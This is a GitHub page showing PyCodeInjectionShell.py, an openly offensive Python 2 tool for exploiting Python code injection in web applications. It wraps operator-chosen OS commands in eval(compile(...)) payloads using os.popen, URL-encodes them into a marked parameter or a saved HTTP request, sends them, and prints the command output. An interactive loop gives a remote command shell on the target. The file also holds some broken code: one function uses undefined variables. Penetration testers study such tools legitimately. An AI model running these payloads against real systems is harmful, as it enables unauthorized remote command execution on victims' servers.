PyCodeInjection/PyCodeInjectionShell.py at master · sethsec/PyCodeInjection · GitHub

History

executable file

232 lines (207 loc) · 9.96 KB

Raw

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

#!/usr/bin/env python3

"""

Authors: Seth Art (sethsec@gmail.com, @sethsec), Charlie Worrell (@decidedlygray, https://keybase.io/decidedlygray)

Purpose: Tool for exploiting web application based Python Code Injection Vulnerabilities

"""

import requests, re, optparse, urllib, os

from HTMLParser import HTMLParser

#Taken from http://stackoverflow.com/questions/2115410/does-python-have-a-module-for-parsing-http-requests-and-responses

from BaseHTTPServer import BaseHTTPRequestHandler

from StringIO import StringIO

class HTTPRequest(BaseHTTPRequestHandler):

def __init__(self, request_text):

self.rfile = StringIO(request_text)

self.raw_requestline = self.rfile.readline()

self.error_code = self.error_message = None

self.parse_request()

def send_error(self, code, message):

self.error_code = code

self.error_message = message

def parse_url(command,user_url,user_param=None):

#print user_param

insert = '''eval(compile("""for x in range(1):\\n import os\\n print("-"*50)\\n os.popen(r'%s').read()""",'PyCodeInjectionShell','single'))''' % command

#insert = '''eval(compile("""for x in range(1):\\n import subprocess\\n print("-"*50)\\n subprocess.Popen(r'%s', shell=True,stdout=subprocess.PIPE).stdout.read()""",'PyCodeInjectionShell','single'))''' % command

encoded = urllib.quote(insert)

#print user_param

if user_param == None:

# Look for the * and replace * with the payload

split_user_url = user_url.split('*')

try:

url = '%s%s%s' % (split_user_url[0],encoded,split_user_url[1])

except:

print "[!] Injection point not defined. Use either the * or -p parameter to show where to inject"

exit()

else:

# Look for the user specified parameter and replace the parameter value with the payload

split_user_url = user_url.split("%s=" % user_param)

suffix = split_user_url[1].split('&')[1]

try:

url = '%s%s=%s&%s' % (split_user_url[0],user_param,encoded,suffix)

except:

print "[!]URL specified"

#print("URL sent to server: " + url)

return url

def parse_request(command,filename,user_param=None):

#print user_param

with open(filename,'rb') as file:

insert = '''eval(compile("""for x in range(1):\\n import os\\n print("-"*50)\\n os.popen(r'%s').read()""",'PyCodeInjectionShell','single'))''' % command

encoded = urllib.quote(insert)

request1 = file.read()

#req_obj = HTTPRequest(request1)

if user_param == None:

acceptline = re.search('Accept:.*',request1)

#print str(acceptline.group(0))

updated = re.sub("\*",encoded, request1)

updated2 = re.sub('Accept:.*',str(acceptline.group(0)), updated)

req_obj = HTTPRequest(updated2)

else:

print "[!] Request file and specified parameter are not currently supported together. \n[!]Please place a * in the request file\n"

exit()

#print updated2

req_obj.headers.dict.pop('content-length', None)

url = '%s%s' % (req_obj.headers['host'],req_obj.path)

if req_obj.command == "GET":

#print url

#print req_obj.headers

return url,req_obj.headers,None

elif req_obj.command == "POST":

post_body = req_obj.rfile.read()

return url,req_obj.headers,post_body

def select_command(user_url,user_param=None):

#print user_param

test1 = '''eval(compile("""for x in range(1):\\n print("PyCodeInjectionShell")""",'PyCodeInjectionShell','single'))'''

test2 = '''__import__.os.eval(compile("""for x in range(1):\\n print("PyCodeInjectionShell")""",'PyCodeInjectionShell','single'))'''

test3 = '''eval(compile("""for x in range(1):\\n import os,subprocess\\n print("-"*50)\\n subprocess.Popen(r'%s', shell=True,stdout=subprocess.PIPE).stdout.read()""",'PyCodeInjectionShell','single'))''' % command

#print name

encoded = urllib.quote(insert)

#print encoded

# Split up URL specified at command line on the *, so that we can insert payload

split_user_url = user_url.split('*')

# Recreate the URL with the payload in place of the *

url = '%s%s%s' % (split_user_url[0],encoded,split_user_url[1])

print("URL sent to server: " + url)

response = requests.get(url)

#print response.headers

#print response.content

match = re.search('([---------------------------------------------------][\n])(.*)',response.content)

#print match

try:

command_output = str(match.group(0))

print '\n{}\nOUTPUT OF: {}\n{}'.format('-'*30,command,'-'*30)

print command_output.replace('\\n','\n')

# print command_output

except:

print "No output found. Debug info:"

print "-----------------------------"

print response

def send_request(url,command,headers=None,data=None):

# Request files don't specify HTTP vs HTTPS, so I'm trying to try both instead of

# asking the user. If no http or https, first try http, and if that errors, try

# https. Request files can be used for GET's also, so I pull that part out as well.

if 'http' not in url:

try:

http_url = 'http://%s' % url

if (data):

response = requests.post(http_url, headers=headers, data=data, verify=False)

else:

response = requests.get(http_url, headers=headers, verify=False)

except Exception as error:

print error

try:

https_url = 'https://%s' % url

if (data):

response = requests.post(https_url, headers=headers, data=data, verify=False)

else:

response = requests.get(https_url, headers=headers, verify=False)

except Exception as error:

print error

else:

try:

response = requests.get(url, headers=headers, verify=False)

except Exception as error:

print "[!] Failed to establish connection"

#print error

exit()

#print response.headers

#print response.content

match = re.search('([---------------------------------------------------][\n])(.*)',response.content)

try:

command_output = str(match.group(0))

print '\n{}\nOUTPUT OF: {}\n{}'.format('-'*30,command,'-'*30)

#print command_output.replace('\\n','\n')

command_output = command_output.replace('\\n','\n')

h = HTMLParser()

print (h.unescape(command_output))

# print command_output

except Exception as error:

print "\n[!] Could not found command output. Debug info:\n"

print "---------------Response Headers---------------"

print response.headers

print "---------------Response Content---------------"

print response.content

return error

# Ripped from https://raw.githubusercontent.com/sqlmapproject/sqlmap/044f05e772d0787489bdf7bc220a5dfc76714b1d/lib/core/common.py

def checkFile(filename, raiseOnError=True):

"""

Checks for file existence and readability

"""

valid = True

try:

if filename is None or not os.path.isfile(filename):

valid = False

except UnicodeError:

valid = False

if valid:

try:

with open(filename, "rb"):

pass

except:

valid = False

if not valid and raiseOnError:

raise Exception("unable to read file '%s'" % filename)

return valid

if __name__ == '__main__':

parser = optparse.OptionParser(usage='python %prog -c command -p param -u URL\n\

python %prog -c command -p param -r request.file\n')

parser.add_option('-c', dest='cmd', help='Enter the OS command you want to run at the command line')

parser.add_option('-i', action="store_true", dest='interactive', help='Interactivly enter OS commands until finished')

parser.add_option('-u', dest='url', help='Specify the URL. URLs can use * or -p to set injection point')

parser.add_option('-p', dest='parameter', help='Specify injection parameter. This is used instead of *')

parser.add_option('-r', dest='request', help='Specify locally saved request file instead of a URL. Works with * or -p')

(options, args) = parser.parse_args()

#cmd = options.command

#url = options.url

request = options.request

#parameter = options.parameter

#print options.parameter

#print

if (options.url) and (options.request):

print "Either enter a URL or a request file, but not both."

exit()

if (options.url) and (options.parameter):

#print("URL entered by user: " + options.url)

parsed_url = parse_url(options.cmd,options.url,options.parameter)

send_request(parsed_url,options.cmd)

if (options.interactive):

while True:

new_cmd = raw_input("Command:")

url = parse_url(new_cmd,options.url,options.parameter)

send_request(url,new_cmd)

if (options.url) and not (options.parameter):

#print("URL entered by user: " + options.url)

parsed_url = parse_url(options.cmd,options.url,options.parameter)

send_request(parsed_url,options.cmd)

if (options.interactive):

while True:

new_cmd = raw_input("Command:")

url = parse_url(new_cmd,options.url,options.parameter)

send_request(url,new_cmd)

if (options.request):

checkFile(options.request)

parsed_url,headers,data = parse_request(options.cmd,options.request,options.parameter)

send_request(parsed_url,options.cmd,headers,data)

if (options.interactive):

while True:

new_cmd = raw_input("Command:")

parsed_url,headers,data = parse_request(new_cmd,options.request,options.parameter)

send_request(parsed_url,new_cmd,headers,data)

PyCodeInjection/PyCodeInjectionShell.py at master · sethsec/PyCodeInjection · GitHub

Expand file tree

Breadcrumbs

PyCodeInjectionShell.py

Latest commit

History

Breadcrumbs

PyCodeInjectionShell.py

File metadata and controls